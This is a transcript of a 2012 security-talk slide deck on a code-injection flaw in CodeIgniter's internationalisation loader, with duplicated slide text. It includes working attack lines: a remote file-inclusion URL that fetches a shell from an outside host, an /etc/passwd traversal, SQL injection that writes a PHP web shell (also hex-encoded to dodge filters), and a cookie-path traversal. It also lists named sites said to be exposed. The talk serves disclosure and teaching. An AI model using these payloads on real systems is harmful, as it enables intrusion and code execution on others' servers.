codeigniter i18n security flaw

25
CodeIgniter i18n Code Injection Abbas Naderi (aka AbiusX) OWASP Chapter Leader of Iran ISSECO Member [email protected] / [email protected] 20 May 2012

Upload: abbas-naderi

Post on 20-Aug-2015

2.193 views

Category:

Technology


4 download

TRANSCRIPT

Page 1: CodeIgniter i18n Security Flaw

CodeIgniter i18n Code Injection

Abbas Naderi (aka AbiusX)OWASP Chapter Leader of IranISSECO [email protected] / [email protected]

Abbas Naderi (aka AbiusX)OWASP Chapter Leader of IranISSECO [email protected] / [email protected]

20 May 201220 May 2012

Page 2: CodeIgniter i18n Security Flaw

Understand the Context

Page 3: CodeIgniter i18n Security Flaw

PHP

• Mostly used SSI (75%)• 17 Years Maturity• Open Source Nature• Rapid Develop/Deploy• Secure Core• Insecure Libraries• Low Level Web Development *

Page 4: CodeIgniter i18n Security Flaw

PHP Frameworks

• PHP low level web support• Incorporation of Frameworks• Much Used and Mature -> Secure• Huge Codebase -> Insecure• Developers, not Security guys• Security-Oriented Frameworks (OWASP

ESAPI)

Page 5: CodeIgniter i18n Security Flaw

CodeIgniter

• Most used Mid-level Framework

Page 6: CodeIgniter i18n Security Flaw

Internationalization

• i18n importance today• Difficult implementation:

– File-based (Wordpress, eFront, …)– Database (jFramework)– Code-based (CodeIgniter, …)

• Obsolete consumers -> No testing

Page 7: CodeIgniter i18n Security Flaw

Remote File Inclusion

Page 8: CodeIgniter i18n Security Flaw

RFI at a glanceRFI at a glance

• 3rd Most Common Vuln. in Top Ten 2007 : Malicious File Inclusion

• Not in Top Ten 2010 : Mostly Understood and Fixed

• Highest Impact (Run Arbitrary Code!)• Common on Interpreted Languages• Most Common in PHP (Why?)

• 3rd Most Common Vuln. in Top Ten 2007 : Malicious File Inclusion

• Not in Top Ten 2010 : Mostly Understood and Fixed

• Highest Impact (Run Arbitrary Code!)• Common on Interpreted Languages• Most Common in PHP (Why?)

Page 9: CodeIgniter i18n Security Flaw

RFI Example<?php

$page = $_GET[‘page’];

include “./pages/{$page}.php”;

Malicious Input:

Mysite.com?page=../../../etc/passwd%00

Where current dir is /var/www

include “/var/www/pages/../../../etc/passwd”;

= include “/etc/passwd”; //show it on screen

<?php

$page = $_GET[‘page’];

include “./pages/{$page}.php”;

Malicious Input:

Mysite.com?page=../../../etc/passwd%00

Where current dir is /var/www

include “/var/www/pages/../../../etc/passwd”;

= include “/etc/passwd”; //show it on screen

Page 10: CodeIgniter i18n Security Flaw

RFI Cheatsheet

Use null character on input to terminate string:include “./{$page}.you.cant.rfi.me.php”;

Use absolute paths if input initiates include:include “{$_GET[‘page’]}”;

page=http://abx.ir/shell.txt%00

Page 11: CodeIgniter i18n Security Flaw

allow_url_include

If "URL fopen wrappers" are enabled in PHP (which they are in the default configuration), you can specify the file to be included using a URL (via HTTP or other supported wrapper) instead of a local pathname.

e.g include “ftp://192.168.1.1/file.txt”;

If "URL fopen wrappers" are enabled in PHP (which they are in the default configuration), you can specify the file to be included using a URL (via HTTP or other supported wrapper) instead of a local pathname.

e.g include “ftp://192.168.1.1/file.txt”;

Page 12: CodeIgniter i18n Security Flaw
Page 13: CodeIgniter i18n Security Flaw

Filter Parameters

• CodeIgniter has the least found exploits on all major PHP frameworks (Commercial Codebase)

• CodeIgniter filters dangerous characters such as ‘ , “, /, ?, <, > on GET parameters, to prevent most XSS and Injection attacks.

• CodeIgniter has central module loader, and MVC pattern, preventing most RFIs.

Page 14: CodeIgniter i18n Security Flaw

Internationalization

• System/Core/ Lang.php:

function load($langfile = '', $idiom = '', $return = FALSE, $add_suffix = TRUE,

$alt_path = '')

{

$langfile = str_replace('.php', '', $langfile);

if ($add_suffix == TRUE)

{

$langfile = str_replace('_lang.', '', $langfile).'_lang';

}

$langfile .= '.php';

Page 15: CodeIgniter i18n Security Flaw

Internationalization (II)

if (file_exists($package_path.'language/'.$idiom.'/'.$langfile))

{

include($package_path.'language/'.$idiom.'/'.$langfile);

$found = TRUE;

break;

}

The $idiom is obtained from cookies as $_COOKIE[‘lang’]

$langfile is the domain keyword, e.g “sales”

Page 16: CodeIgniter i18n Security Flaw
Page 17: CodeIgniter i18n Security Flaw

Local File InclusionLocal File Inclusion

• Useful to extract info. from target system– /etc/passwd– ./config/database.php

• Easy to exploit

• Useful to extract info. from target system– /etc/passwd– ./config/database.php

• Easy to exploit

Page 18: CodeIgniter i18n Security Flaw

Local Code InclusionLocal Code Inclusion

• Requires a blind injection:– ‘ and 1=0 union select “<?php echo shell_exec($_REQUEST[q]); ” into

outfile “/tmp/sales_lang.php” --

– CodeIgniter filters <? From input– ‘ and 1=0 union select

unhex(“3c3f706870206563686f207368656c6c5f6578656328245f52455155

4553545b715d29″) into outfile “/tmp/common_lang.php” --

– Caution: into outfile does not overwrite!– Where to find blind injection?

• Requires a blind injection:– ‘ and 1=0 union select “<?php echo shell_exec($_REQUEST[q]); ” into

outfile “/tmp/sales_lang.php” --

– CodeIgniter filters <? From input– ‘ and 1=0 union select

unhex(“3c3f706870206563686f207368656c6c5f6578656328245f52455155

4553545b715d29″) into outfile “/tmp/common_lang.php” --

– Caution: into outfile does not overwrite!– Where to find blind injection?

Page 19: CodeIgniter i18n Security Flaw

Local Code Inclusion (II)Local Code Inclusion (II)

• Now change cookie from– a%3A8%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A

%22aa55f87c8b18afe75b3cd7baba330553%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A15%3A%22178.162.154.251%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A50%3A%22Mozilla%2F5.0+%28Macintosh%3B+Intel+Mac+OS+X+10.7%3B+rv%3A12%22%3Bs%3A13%3A%22last_activity%22%3Bs%3A10%3A%221337541932%22%3Bs%3A3%3A%22lan%22%3Bs%3A1%3A%221%22%3Bs%3A3%3A%22dir%22%3Bs%3A3%3A%22rtl%22%3Bs%3A4%3A%22lang%22%3Bs%3A2%3A%22fa%22%3Bs%3A3%3A%22alg%22%3Bs%3A5%3A%22right%22%3B%7Db3c9bed5e9656eca61938c9bc6965bad

– To lang%22%3Bs%3A2%3A%22../../../../../tmp

• Now change cookie from– a%3A8%3A%7Bs%3A10%3A%22session_id%22%3Bs%3A32%3A

%22aa55f87c8b18afe75b3cd7baba330553%22%3Bs%3A10%3A%22ip_address%22%3Bs%3A15%3A%22178.162.154.251%22%3Bs%3A10%3A%22user_agent%22%3Bs%3A50%3A%22Mozilla%2F5.0+%28Macintosh%3B+Intel+Mac+OS+X+10.7%3B+rv%3A12%22%3Bs%3A13%3A%22last_activity%22%3Bs%3A10%3A%221337541932%22%3Bs%3A3%3A%22lan%22%3Bs%3A1%3A%221%22%3Bs%3A3%3A%22dir%22%3Bs%3A3%3A%22rtl%22%3Bs%3A4%3A%22lang%22%3Bs%3A2%3A%22fa%22%3Bs%3A3%3A%22alg%22%3Bs%3A5%3A%22right%22%3B%7Db3c9bed5e9656eca61938c9bc6965bad

– To lang%22%3Bs%3A2%3A%22../../../../../tmp

Page 20: CodeIgniter i18n Security Flaw

Remote Code InclusionRemote Code Inclusion

• Look at the code:include($package_path.'language/'.$idiom.'/'.$langfile);

• You a hacker? tell me how!

• Look at the code:include($package_path.'language/'.$idiom.'/'.$langfile);

• You a hacker? tell me how!

Page 21: CodeIgniter i18n Security Flaw

Remote Code Inclusion (II)Remote Code Inclusion (II)

$this->load->add_package_path()Adding a package path instructs the Loader class to prepend a given path for subsequent requests for resources. As an example, the "Foo Bar" application package above has a library named Foo_bar.php. In our controller, we'd do the following:

$this->load->add_package_path(APPPATH.'third_party/foo_bar/');

http://codeigniter.com/user_guide/libraries/loader.html

$this->load->add_package_path()Adding a package path instructs the Loader class to prepend a given path for subsequent requests for resources. As an example, the "Foo Bar" application package above has a library named Foo_bar.php. In our controller, we'd do the following:

$this->load->add_package_path(APPPATH.'third_party/foo_bar/');

http://codeigniter.com/user_guide/libraries/loader.html

Page 22: CodeIgniter i18n Security Flaw

DemonstrationDemonstration

Page 23: CodeIgniter i18n Security Flaw
Page 24: CodeIgniter i18n Security Flaw

CodeIgniter + i18n

• More than 240 sites discovered:– http://www.sedoparking.com– http://bambooinvoice.org/– http://www.haughin.com/– http://www.rapyd.com/– http://code-igniter.ru/

• And tons more…

• More than 240 sites discovered:– http://www.sedoparking.com– http://bambooinvoice.org/– http://www.haughin.com/– http://www.rapyd.com/– http://code-igniter.ru/

• And tons more…

Page 25: CodeIgniter i18n Security Flaw

Questions? Feedback?

Abbas Naderi (aka AbiusX)

OWASP Chapter Leader of Iran

ISSECO Member

[email protected] / [email protected]

Abbas Naderi (aka AbiusX)

OWASP Chapter Leader of Iran

ISSECO Member

[email protected] / [email protected]